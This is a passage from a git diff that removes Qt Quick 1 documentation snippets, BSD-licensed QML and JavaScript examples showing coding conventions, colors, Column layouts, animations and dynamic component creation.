PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - -//![0] -Rectangle { color: "blue"; width: parent.width / 3 } -//![0] - -//![1] -Rectangle { - color: "blue" - width: { - var w = parent.width / 3 - console.debug(w) - return w - } -} -//![1] - -//![2] -function calculateWidth(object) -{ - var w = object.width / 3 - // ... - // more javascript code - // ... - console.debug(w) - return w -} - -Rectangle { color: "blue"; width: calculateWidth(parent) } -//![2] -} diff --git a/doc/src/snippets/qtquick1/codingconventions/lists.qml b/doc/src/snippets/qtquick1/codingconventions/lists.qml deleted file mode 100644 index ca2b46040b..0000000000 --- a/doc/src/snippets/qtquick1/codingconventions/lists.qml +++ /dev/null @@ -1,62 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - Item { -//! [0] -states: [ - State { - name: "open" - PropertyChanges { target: container; width: 200 } - } -] -//! [0] - } - Item { -//! [1] -states: State { - name: "open" - PropertyChanges { target: container; width: 200 } -} -//! [1] - } -} diff --git a/doc/src/snippets/qtquick1/codingconventions/myscript.js b/doc/src/snippets/qtquick1/codingconventions/myscript.js deleted file mode 100644 index cfa646250b..0000000000 --- a/doc/src/snippets/qtquick1/codingconventions/myscript.js +++ /dev/null @@ -1,9 +0,0 @@ -function calculateWidth(parent) -{ - var w = parent.width / 3 - // ... - // more javascript code - // ... - console.debug(w) - return w -} diff --git a/doc/src/snippets/qtquick1/codingconventions/photo.qml b/doc/src/snippets/qtquick1/codingconventions/photo.qml deleted file mode 100644 index 95aaf06012..0000000000 --- a/doc/src/snippets/qtquick1/codingconventions/photo.qml +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//! [0] -Rectangle { - id: photo // id on the first line makes it easy to find an object - - property bool thumbnail: false // property declarations - property alias image: photoImage.source - - signal clicked // signal declarations - - function doSomething(x) // javascript functions - { - return x + photoImage.width - } - - color: "gray" // object properties - x: 20; y: 20; height: 150 // try to group related properties together - width: { // large bindings - if(photoImage.width > 200){ - photoImage.width; - }else{ - 200; - } - } - - Rectangle { // child objects - id: border - anchors.centerIn: parent; color: "white" - - Image { id: photoImage; anchors.centerIn: parent } - } - - states: State { // states - name: "selected" - PropertyChanges { target: border; color: "red" } - } - - transitions: Transition { // transitions - from: ""; to: "selected" - ColorAnimation { target: border; duration: 200 } - } -} -//! [0] - diff --git a/doc/src/snippets/qtquick1/codingconventions/private.qml b/doc/src/snippets/qtquick1/codingconventions/private.qml deleted file mode 100644 index 52e47d1cf7..0000000000 --- a/doc/src/snippets/qtquick1/codingconventions/private.qml +++ /dev/null @@ -1,49 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//! [0] -Item { - id: component - width: 40; height: 50 - property real __area: width * height * 0.5 //not meant for outside use -} -//! [0] diff --git a/doc/src/snippets/qtquick1/coloranimation.qml b/doc/src/snippets/qtquick1/coloranimation.qml deleted file mode 100644 index 093437b110..0000000000 --- a/doc/src/snippets/qtquick1/coloranimation.qml +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 - -Rectangle { - width: 100; height: 100 - color: "red" - - ColorAnimation on color { to: "yellow"; duration: 1000 } -} -//![0] - diff --git a/doc/src/snippets/qtquick1/colors.qml b/doc/src/snippets/qtquick1/colors.qml deleted file mode 100644 index 2e59f1768d..0000000000 --- a/doc/src/snippets/qtquick1/colors.qml +++ /dev/null @@ -1,125 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - width: 160; height: 250 - - Image { - width: 160; height: 200 - source: "pics/checker.svg" - fillMode: Image.Tile - - //! [colors] - Rectangle { - color: "steelblue" - width: 40; height: 40 - } - Rectangle { - color: "transparent" - y: 40; width: 40; height: 40 - } - Rectangle { - color: "#FF0000" - y: 80; width: 40; height: 40 - } - Rectangle { - color: "#800000FF" - y: 120; width: 40; height: 40 - } - Rectangle { - color: "#00000000" // ARGB fully transparent - y: 160 - width: 40; height: 40 - } - //! [colors] - - Rectangle { - x: 40 - width: 120; height: 200 - - Text { - font.pixelSize: 16 - text: "steelblue" - x: 10; height: 40 - verticalAlignment: Text.AlignVCenter - } - Text { - font.pixelSize: 16 - text: "transparent" - x: 10; y: 40; height: 40 - verticalAlignment: Text.AlignVCenter - } - Text { - font.pixelSize: 16 - text: "FF0000" - x: 10; y: 80; height: 40 - verticalAlignment: Text.AlignVCenter - } - Text { - font.pixelSize: 16 - text: "800000FF" - x: 10; y: 120; height: 40 - verticalAlignment: Text.AlignVCenter - } - Text { - font.pixelSize: 16 - text: "00000000" - x: 10; y: 160; height: 40 - verticalAlignment: Text.AlignVCenter - } - } - } - - Image { - y: 210 - width: 40; height: 40 - source: "pics/checker.svg" - fillMode: Image.Tile - } - - Text { - font.pixelSize: 16 - text: "(background)" - x: 50; y: 210; height: 40 - verticalAlignment: Text.AlignVCenter - } -} diff --git a/doc/src/snippets/qtquick1/column/column.qml b/doc/src/snippets/qtquick1/column/column.qml deleted file mode 100644 index 9939bbe24d..0000000000 --- a/doc/src/snippets/qtquick1/column/column.qml +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 1.0 - -Item { - width: 310; height: 170 - - Column { - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - - spacing: 5 - - Rectangle { color: "lightblue"; radius: 10.0 - width: 300; height: 50 - Text { anchors.centerIn: parent - font.pointSize: 24; text: "Books" } } - Rectangle { color: "gold"; radius: 10.0 - width: 300; height: 50 - Text { anchors.centerIn: parent - font.pointSize: 24; text: "Music" } } - Rectangle { color: "lightgreen"; radius: 10.0 - width: 300; height: 50 - Text { anchors.centerIn: parent - font.pointSize: 24; text: "Movies" } } - } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/column/vertical-positioner.qml b/doc/src/snippets/qtquick1/column/vertical-positioner.qml deleted file mode 100644 index 8bcb813d34..0000000000 --- a/doc/src/snippets/qtquick1/column/vertical-positioner.qml +++ /dev/null @@ -1,50 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//! [document] -Column { - spacing: 2 - Rectangle { color: "red"; width: 50; height: 50 } - Rectangle { color: "green"; width: 20; height: 50 } - Rectangle { color: "blue"; width: 50; height: 20 } -} -//! [document] diff --git a/doc/src/snippets/qtquick1/comments.qml b/doc/src/snippets/qtquick1/comments.qml deleted file mode 100644 index ed033e6834..0000000000 --- a/doc/src/snippets/qtquick1/comments.qml +++ /dev/null @@ -1,53 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//![0] -Text { - text: "Hello world!" //a basic greeting - /* - We want this text to stand out from the rest so - we give it a large size and different font. - */ - font.family: "Helvetica" - font.pointSize: 24 -} -//![0] diff --git a/doc/src/snippets/qtquick1/component.qml b/doc/src/snippets/qtquick1/component.qml deleted file mode 100644 index 393217afb6..0000000000 --- a/doc/src/snippets/qtquick1/component.qml +++ /dev/null @@ -1,59 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - width: 100; height: 100 - - Component { - id: redSquare - - Rectangle { - color: "red" - width: 10 - height: 10 - } - } - - Loader { sourceComponent: redSquare } - Loader { sourceComponent: redSquare; x: 20 } -} -//![0] diff --git a/doc/src/snippets/qtquick1/componentCreation.js b/doc/src/snippets/qtquick1/componentCreation.js deleted file mode 100644 index 7364139d3d..0000000000 --- a/doc/src/snippets/qtquick1/componentCreation.js +++ /dev/null @@ -1,45 +0,0 @@ -//![vars] -var component; -var sprite; -//![vars] - -//![func] -function createSpriteObjects() { -//![func] - -//![remote] - component = Qt.createComponent("Sprite.qml"); - if (component.status == Component.Ready) - finishCreation(); - else - component.statusChanged.connect(finishCreation); -//![remote] - -//![local] - component = Qt.createComponent("Sprite.qml"); - sprite = component.createObject(appWindow, {"x": 100, "y": 100}); - - if (sprite == null) { - // Error Handling - console.log("Error creating object"); - } -//![local] - -//![func-end] -} -//![func-end] - -//![finishCreation] -function finishCreation() { - if (component.status == Component.Ready) { - sprite = component.createObject(appWindow, {"x": 100, "y": 100}); - if (sprite == null) { - // Error Handling - console.log("Error creating object"); - } - } else if (component.status == Component.Error) { - // Error Handling - console.log("Error loading component:", component.errorString()); - } -} -//![finishCreation] diff --git a/doc/src/snippets/qtquick1/createComponent-simple.qml b/doc/src/snippets/qtquick1/createComponent-simple.qml deleted file mode 100644 index d4964cb4cd..0000000000 --- a/doc/src/snippets/qtquick1/createComponent-simple.qml +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import QtQuick 1.0 - -Item { - id: container - width: 300; height: 300 - - function loadButton() { - var component = Qt.createComponent("Button.qml"); - if (component.status == Component.Ready) { - var button = component.createObject(container); - button.color = "red"; - } - } - - Component.onCompleted: loadButton() -} -//![0] diff --git a/doc/src/snippets/qtquick1/createComponent.qml b/doc/src/snippets/qtquick1/createComponent.qml deleted file mode 100644 index 10717ad471..0000000000 --- a/doc/src/snippets/qtquick1/createComponent.qml +++ /dev/null @@ -1,51 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 1.0 -import "componentCreation.js" as MyScript - -Rectangle { - id: appWindow - width: 300; height: 300 - - Component.onCompleted: MyScript.createSpriteObjects(); -} -//![0] diff --git a/doc/src/snippets/qtquick1/createQmlObject.qml 